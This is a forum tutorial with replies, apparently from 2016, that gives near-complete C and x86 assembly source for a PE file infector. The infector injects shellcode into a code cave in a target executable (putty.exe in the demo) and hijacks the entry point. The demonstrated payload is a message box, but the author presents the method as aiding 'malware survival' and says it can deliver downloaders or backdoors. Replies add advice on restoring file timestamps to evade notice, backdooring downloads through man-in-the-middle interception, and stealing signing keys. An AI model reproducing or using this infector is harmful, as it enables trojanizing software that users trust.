The following paper documents a possible PE file infection technique which covers a high level overview and the low level code of how both the infection and the resulting payload is executed. Please note that some of the following material may not be suited for beginners as it requires:
Proficiency in C/C++ Proficiency in Intel x86 assembly Knowledge of the WinAPI and its documentation Knowledge of the PE file structure Knowledge of Dynamic Linked LibrariesDisclaimer: This paper is written within the scope of my own self research and study of malware and windows internals and I apologize in advance for any incorrect information. If there is any feedback, please leave a reply or private message me.
Infection TechniqueThe method with which we will be covering consists of taking advantage of the implementation of the PE file structure. Code caves are essentially blocks of empty spaces (or null bytes) which are a result of file alignment of the corresponding section's data. Because these holes exist, it is entirely possible to place our own data inside with little or nothing preventing us. Here is and example of a code cave in our target application (putty.exe).
For more information on code caves, please see CodeProject - The Beginner's Guide to Codecaves .
For our approach, we will be targeting the last section of the executable, injecting our own code inside for execution before jumping back to the original code. Here is a visual representation:
Target program's structure after infection +----------------+ | Header | Original -----> +----------------+ <---+ Return to start | .text | | original start +----------------+ | after shellcode | .rdata | | finishes execution +----------------+ | | ... | | +----------------+ | | .tls | | New start ----> +- - - - + ----+ | shellcode | +----------------+ ^ ^ ^ Injected shellcode goes here inside the .tls sectionAs a result of this infection method, the program will remain intact and since we will be injecting the shellcode inside an existing empty region of the file, the file size will not change and will hence reduce suspicion which is essential for malware survival.
Coding the InfectorThe infector will be responsible for modifying a target application by injecting the shellcode into the last section. Here is the pseudocode:
Infector Pseudocode 1. Open file to read and write 2. Extract PE file information 3. Find a suitably-sized code cave 4. Tailor shellcode to the target application 5. Acquire any additional data for the shellcode to function 6. Inject the shellcode into the application 7. Modify the application's original entry point to the start of the shellcodeLet's now see how we could implement this in code.
Note: For the sake of cleanliness and readability, I will not be including error checks.
int main(int argc, char *argv[]) { if (argc < 2) { fprintf(stderr, "Usage: %s <TARGET FILE>\n", argv[0]); return 1; } HANDLE hFile = CreateFile(argv[1], FILE_READ_ACCESS | FILE_WRITE_ACCESS, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); DWORD dwFileSize = GetFileSize(hFile, NULL); HANDLE hMapping = CreateFileMapping(hFile, NULL, PAGE_READWRITE, 0, dwFileSize, NULL); LPBYTE lpFile = (LPBYTE)MapViewOfFile(hMapping, FILE_MAP_READ | FILE_MAP_WRITE, 0, 0, dwFileSize); }We'll be designing our program to take in a target file from the command line.
First of all, we need to get a handle to a file using the CreateFile function with the read and write access permissions so that we are able to read data from and write data to the file. We'll also need to get the size of the file for the following task.
The CreateFileMapping function creates a handle to the mapping. We specify a read and write permission (same as CreateFile ) and also the maximum size we want the mapping to be, i.e. the size of the file.After obtaining the handle to the file mapping, we can create the mapping itself. The MapViewOfFile function maps the file into our memory space and returns a pointer to the start of the mapped file, i.e. the beginning of the file. Here we cast the return value as a pointer to an byte which is the same as an unsigned char value.
In this next section, we require that the target file be a legitimate PE file so we need to verify the MZ and the PE\0\0 signatures. I've done this with a separate function in a different file which I will show at the end of the article.
int main(int argc, char *argv[]) { ... // check if valid pe file if (VerifyDOS(GetDosHeader(lpFile)) == FALSE || VerifyPE(GetPeHeader(lpFile)) == FALSE) { fprintf(stderr, "Not a valid PE file\n"); return 1; } PIMAGE_NT_HEADERS pinh = GetPeHeader(lpFile); PIMAGE_SECTION_HEADER pish = GetLastSectionHeader(lpFile); // get original entry point DWORD dwOEP = pinh->OptionalHeader.AddressOfEntryPoint + pinh->OptionalHeader.ImageBase; DWORD dwShellcodeSize = (DWORD)ShellcodeEnd - (DWORD)ShellcodeStart; }Once we've verified and the target file is suitable for infection, we need to obtain the original entry point (OEP) so that we can jump back to it after our shellcode finished execution. Here, we also calculate the size of the shellcode by subtracting the end of the shellcode from the beginning. I will show what these functions look like later on and it will make much more sense.
Next, we'll need to find an appropriate-sized code cave.
int main(int argc, char *argv[]) { ... // find code cave DWORD dwCount = 0; DWORD dwPosition = 0; for (dwPosition = pish->PointerToRawData; dwPosition < dwFileSize; dwPosition++) { if (*(lpFile + dwPosition) == 0x00) { if (dwCount++ == dwShellcodeSize) { // backtrack to the beginning of the code cave dwPosition -= dwShellcodeSize; break; } } else { // reset counter if failed to find large enough cave dwCount = 0; } } // if failed to find suitable code cave if (dwCount == 0 || dwPosition == 0) { return 1; } }We obtained pish from the previous code section which is a pointer to the last section's header. Using the header information, we can calculate the starting position dwPosition which points to the beginning of the code in that section and we'll read to the end of the file using the size of the file dwFileSize as a stopping condition.
What we do is we create a loop from the beginning of the section to the end of the section (end of the file) and every time we come across a null byte, we will increment the dwCount variable, otherwise, we'll reset the value if there is a byte which is not a null byte. If the dwCount reaches the size of the shellcode, we will have found a code cave which can house it. We'll then need to subtract the dwPosition with the size of the shellcode since we need the offset position of the beginning of the code cave so we know where to write to it later.If, for some reason, we are unable to find a code cave, the dwCount should be of size 0 and if the loop fails to start, dwPosition will also be 0 . I'm not really sure if these conditions are necessary so but I have them there just in case.
In this example, the target application will spawn a message box before it runs itself normally.
int main(int argc, char *argv[]) { ... // dynamically obtain address of function HMODULE hModule = LoadLibrary("user32.dll"); LPVOID lpAddress = GetProcAddress(hModule, "MessageBoxA"); // create buffer for shellcode HANDLE hHeap = HeapCreate(0, 0, dwShellcodeSize); LPVOID lpHeap = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, dwShellcodeSize); // move shellcode to buffer to modify memcpy(lpHeap, ShellcodeStart, dwShellcodeSize); }Because of this, we will need the address of the function MessageBoxA which is found in the User32 DLL. First, we'll need a handle to the User32 DLL which is done by using the LoadLibrary function. We'll then use the handle with GetProcAddress to retrieve the address of the function. Once we have this, we can copy the address into the shellcode so it can call the MessageBoxA function.
Next, we'll need to dynamically allocate a buffer to store the shellcode itself so that we can modify the placeholder values in the shellcode function with the correct ones, i.e. the OEP and the MessageBoxA address.
int main(int argc, char *argv[]) { ... // modify function address offset DWORD dwIncrementor = 0; for (; dwIncrementor < dwShellcodeSize; dwIncrementor++) { if (*((LPDWORD)lpHeap + dwIncrementor) == 0xAAAAAAAA) { // insert function's address *((LPDWORD)lpHeap + dwIncrementor) = (DWORD)lpAddress; FreeLibrary(hModule); break; } } // modify OEP address offset for (; dwIncrementor < dwShellcodeSize; dwIncrementor++) { if (*((LPDWORD)lpHeap + dwIncrementor) == 0xAAAAAAAA) { // insert OEP *((LPDWORD)lpHeap + dwIncrementor) = dwOEP; break; } } }In these two for loops, we attempt to locate the placeholders ( 0xAAAAAAAA ) in the shellcode and replace them with the values we need. What they do is they'll go through the shellcode buffer and if it finds a placeholder, it will overwrite it. These loops cannot be swapped and must maintain this order and we will see why when we have a look at the shellcode function later.
int main(int argc, char *argv[]) { ... // copy the shellcode into code cave memcpy((LPBYTE)(lpFile + dwPosition), lpHeap, dwShellcodeSize); HeapFree(hHeap, 0, lpHeap); HeapDestroy(hHeap); // update PE file information pish->Misc.VirtualSize += dwShellcodeSize; // make section executable pish->Characteristics |= IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_EXECUTE; // set entry point // RVA = file offset + virtual offset - raw offset pinh->OptionalHeader.AddressOfEntryPoint = dwPosition + pish->VirtualAddress - pish->PointerToRawData; return 0; }Now that the shellcode is complete, we can inject it into the mapped file using a memcpy . Remember that we saved the offset of the code cave with dwPosition ; we use it here to calculate it from the beginning of the file which is where lpFile points to. We simply copy the shellcode buffer with the size of the shellcode.
We need to update some of the values inside the headers. The section header's VirtualSize member needs to be changed to include the size of the shellcode. We also want the section to be executable so that the shellcode can do its thing. Finally, the AddressOfEntryPoint needs to be pointed to the start of the code cave where the shellcode is hiding.
Now, let's take a look at the shellcode functions.
#define db(x) __asm _emit x __declspec(naked) ShellcodeStart(VOID) { __asm { pushad call routine routine: pop ebp sub ebp, offset routine push 0 // MB_OK lea eax, [ebp + szCaption] push eax // lpCaption lea eax, [ebp + szText] push eax // lpText push 0 // hWnd mov eax, 0xAAAAAAAA call eax // MessageBoxA popad push 0xAAAAAAAA // OEP ret szCaption: db('d') db('T') db('m') db(' ') db('W') db('u') db('Z') db(' ') db('h') db('3') db('r') db('e') db(0) szText : db('H') db('a') db('X') db('X') db('0') db('r') db('3') db('d') db(' ') db('b') db('y') db(' ') db('d') db('T') db('m') db(0) } } VOID ShellcodeEnd() { }There are two functions here: ShellcodeStart and ShellcodeEnd . From before, we calculated the size of the shellcode by subtracting the ShellcodeStart 's function address from the ShellcodeEnd 's function address. The ShellcodeEnd function's only purpose is to signify the end of the shellcode.
The declaration of the ShellcodeStart function uses __declspec(naked) since we do not want any prologues or epilogues in our function. We want it as clean as possible.
The shellcode starts with a pushad which is an instruction to push all of the registers onto the stack and we need to do this to preserve the process's context that's set up for the program to run. Once that's been handled, we can then execute our routine.
Since this shellcode will be in the memory of another program, we cannot control where the address of values will be and so we will need to use some tricks to dynamically calculate the addresses.
What we do here is use a technique called a delta offset. What happens is that when routine is called, it immediately pops the return address (which is the address of routine) into the base pointer register. We then subtract the base pointer register's value with the address of routine and that ultimately results in 0 . We can then calculate the address of the string variables szCaption and szText by simply adding their addresses onto the base pointer register and in this case, it's simply their addresses. We then push the parameters of MessageBoxA onto the stack and then call the function.
After the routine has finished and done what we wanted, we then recover the register values with popad , push the address of OEP and return, effectively jumping back to the original entry point so the program can run normally.
This is what the resulting infected application should look like.
A Quick Demonstration
Here is what happens when the infected putty.exe is launched.
And then...
wot.PNG 752x515 20.5 KB
ConclusionThe message box dialog is only an example. The potential of the payload is far greater than what has been documented here ranging from downloaders to viruses to backdoors where the only limit (for this specific technique) is the number of available code caves. This example only utilizes one of the many existing ones where more complex implementations can weave and integrate entire applications throughout code caves throughout all sections.
This article has been made possible thanks to rohitab.com - Detailed Guide to Pe Infection with which I used to research and reference. It's not entirely the same, I made some changes here and there depending on my needs.
Thanks for reading.
-- dtm
AppendixPIMAGE_DOS_HEADER GetDosHeader(LPBYTE file) { return (PIMAGE_DOS_HEADER)file; } /* * returns the PE header */ PIMAGE_NT_HEADERS GetPeHeader(LPBYTE file) { PIMAGE_DOS_HEADER pidh = GetDosHeader(file); return (PIMAGE_NT_HEADERS)((DWORD)pidh + pidh->e_lfanew); } /* * returns the file header */ PIMAGE_FILE_HEADER GetFileHeader(LPBYTE file) { PIMAGE_NT_HEADERS pinh = GetPeHeader(file); return (PIMAGE_FILE_HEADER)&pinh->FileHeader; } /* * returns the optional header */ PIMAGE_OPTIONAL_HEADER GetOptionalHeader(LPBYTE file) { PIMAGE_NT_HEADERS pinh = GetPeHeader(file); return (PIMAGE_OPTIONAL_HEADER)&pinh->OptionalHeader; } /* * returns the first section's header * AKA .text or the code section */ PIMAGE_SECTION_HEADER GetFirstSectionHeader(LPBYTE file) { PIMAGE_NT_HEADERS pinh = GetPeHeader(file); return (PIMAGE_SECTION_HEADER)IMAGE_FIRST_SECTION(pinh); } PIMAGE_SECTION_HEADER GetLastSectionHeader(LPBYTE file) { return (PIMAGE_SECTION_HEADER)(GetFirstSectionHeader(file) + (GetPeHeader(file)->FileHeader.NumberOfSections - 1)); } BOOL VerifyDOS(PIMAGE_DOS_HEADER pidh) { return pidh->e_magic == IMAGE_DOS_SIGNATURE ? TRUE : FALSE; } BOOL VerifyPE(PIMAGE_NT_HEADERS pinh) { return pinh->Signature == IMAGE_NT_SIGNATURE ? TRUE : FALSE; }
pry0cc (The Server Man) 2016-05-19 12:20:03 UTC #2Dayummmm@dtm! This article is really kicking it! This is so awesome. I really like that you uncover seriously 'underground' topics. Or at least something that is difficult to find.
This method would affect any checksums made for this application? Would antivirus pick this up also?
dtm 2016-05-19 12:53:08 UTC #3I'm not sure what you mean by checksums. Perhaps you meant hash? If so, then of course, that's the entire point of hashes. Same thing, I guess? Antivirus could pick this up though it really depends on a few factors. If, say, the infected application is a system file, svchost.exe, for example, it can be integrity checked to see if it's original or not, same with pretty much any file however the file be known to have some sort of comparison. It's also possible that the antivirus could detect malicious code within the file on disk or trigger heuristics on runtime.
pry0cc (The Server Man) 2016-05-19 13:56:53 UTC #4By checksum , yes I meant hash.
Is this how on-the-fly application backdooring usually works? Or do they just append to the shellcode? I know MSFVenom backdoors, but it doesn't use badass PE File injection? Right?
dtm 2016-05-19 13:58:05 UTC #5On-the-fly application backdooring? Could you be more descriptive? I haven't touched MSF in years.
pry0cc (The Server Man) 2016-05-19 13:59:02 UTC #6If you were in a MITM attack, it could Intercept downloaded executables, backdoor them, and give the victim the backdoored version.
dtm 2016-05-19 14:06:05 UTC #7Sorry, I don't know the implementation of that. Perhaps if you could provide me the source or an infected file, I might be able to figure something out.
pry0cc (The Server Man) 2016-05-19 14:15:22 UTC #8I'm sorry since my code literacy in C++ is pretty poor, but does this code automatically find code caves? Or do you have to manually find them.
Would this code be able to be executed just given an executable? Also, could this in theory run natively on a linux system?
dtm 2016-05-19 14:22:25 UTC #9The infector will point to the last section of the PE file and attempt to locate a code cave which is big enough to house the shellcode.
There is a limitation on potential targets which I did forget to mention. For this example, since the MessageBoxA function resides within user32.dll , it will only work if the target imports that DLL.
This code is Win32 only because it uses the WinAPI but conceptually it can theoretically be carried across over to Linux machines. IIRC, Both the PE and ELF binaries are derived from the COFF. I'm not 100% sure about this because I'm not familiar with the structure of the ELF so you'll have to ask@0x00pf.
0x00pf (pico) 2016-05-19 16:34:01 UTC #10I believe ELF is not derived from COFF, however, concepts as segments, libraries or relocation are required and, on one way or another, reflected in the format.
@pry0cc with some data definitions, it will be possible to compile it on Linux and run it to infect PE executables... but it will not work on ELF binaries if that is what you meant
FYI: I'm almost done with an ELF version of this great post.
pry0cc (The Server Man) 2016-05-19 20:43:01 UTC #11Oh right. Okay. I was talking more about backdooring windows applications, using Linux.
However I am exited to see your tutorial!
0x00pf (pico) 2016-05-20 05:10:39 UTC #12That is indeed possible, at the end you are just reading/writing and moving around bytes in a file. I went quickly through@dtm code and I haven't see any specific Windows code, except the types definitions.... But I may have olverlooked something.
random-man (random-man) 2016-05-24 07:45:47 UTC #13Cool. Thanks DTM. I just learned how to inject code into a PE with Ollydbg, but I've been having trouble automating the process with WINAPI. This helps me understand a lot more.
Ninja243 (Mweya Ruider) 2016-05-31 13:25:22 UTC #14Epic tutorial!
This post got me thinking if one could do this in python, so one thing led to another, I dropped the idea and found PEInjector that seems to do the same thing while performing an MITM attack, so you wouldn't need to use Social Engineering to get the application on the target's computerpry0cc (The Server Man) 2017-02-10 09:21:42 UTC #15
I am going to try this in wine with STELF... Wish me luck.
dtm 2017-02-10 09:46:24 UTC #16If you're going to do that, I'd suggest you add in something that stores the initial file's dates before modifications and then reapplying it to the file after you infect it.
pry0cc (The Server Man) 2017-02-10 10:12:41 UTC #17Oh sweet. Is that just simple metadata modification? Also, would that affect the signature? I would like to find a way to sign executables so as to remove the "this publisher isn't trusted" message.
dtm 2017-02-10 10:55:11 UTC #18Yeah, I guess. If you're infecting an executable by adding extra data, of course the resulting binary's signature will be compromised. If you want to sign an executable without the warning message, you'll need to acquire a certificate from a trusted authority like Verisign, or perhaps you can check out Microsoft's SignTool .
Joe_Schmoe 2017-02-10 10:57:12 UTC #19Avoiding the untrusted publisher pop-up would be simple, we just need to steal Microsoft's private keys which they use to sign programs.
As to changing file modification dates, it will be easy to do. You can do it with powershell or python.
tsukuyomi (hash) 2017-02-13 00:01:30 UTC #20Shouldn't you use OPEN_EXISTING instead of OPEN_ALWAYS when calling CreateFile?
If the file doesn't exist, OPEN_EXISTING will return an error code. OPEN_ALWAYS will create a new file if it doesn't already exist, you then call GetFileSize and retrieve the size of the empty file and attempt to map the empty file into memory.
MSDN (CreateFileMapping function's fourth parameter):
The low-order DWORD of the maximum size of the file mapping object. If this parameter and dwMaximumSizeHigh are 0 (zero), the maximum size of the file mapping object is equal to the current size of the file that hFile identifies. An attempt to map a file with a length of 0 (zero) fails with an error code of ERROR_FILE_INVALID. Applications should test for files with a length of 0 (zero) and reject those files.^ "Applications should test for files with a length of 0 (zero) and reject those files."
CreateFileMapping & MapViewOfFile will both fail if CreateFile creates a new file. CreateFileMapping fails because the file size of the newly created file is zero and MapViewOfFile fails because CreateFileMapping returns NULL to its handle after failing. CreateFileMapping returns ERROR_FILE_INVALID(1006) and MapViewOfFile returns ERROR_INVALID_HANDLE(6). Change CreateFile's dwCreationDisposition parameter to OPEN_EXISTING.
next page →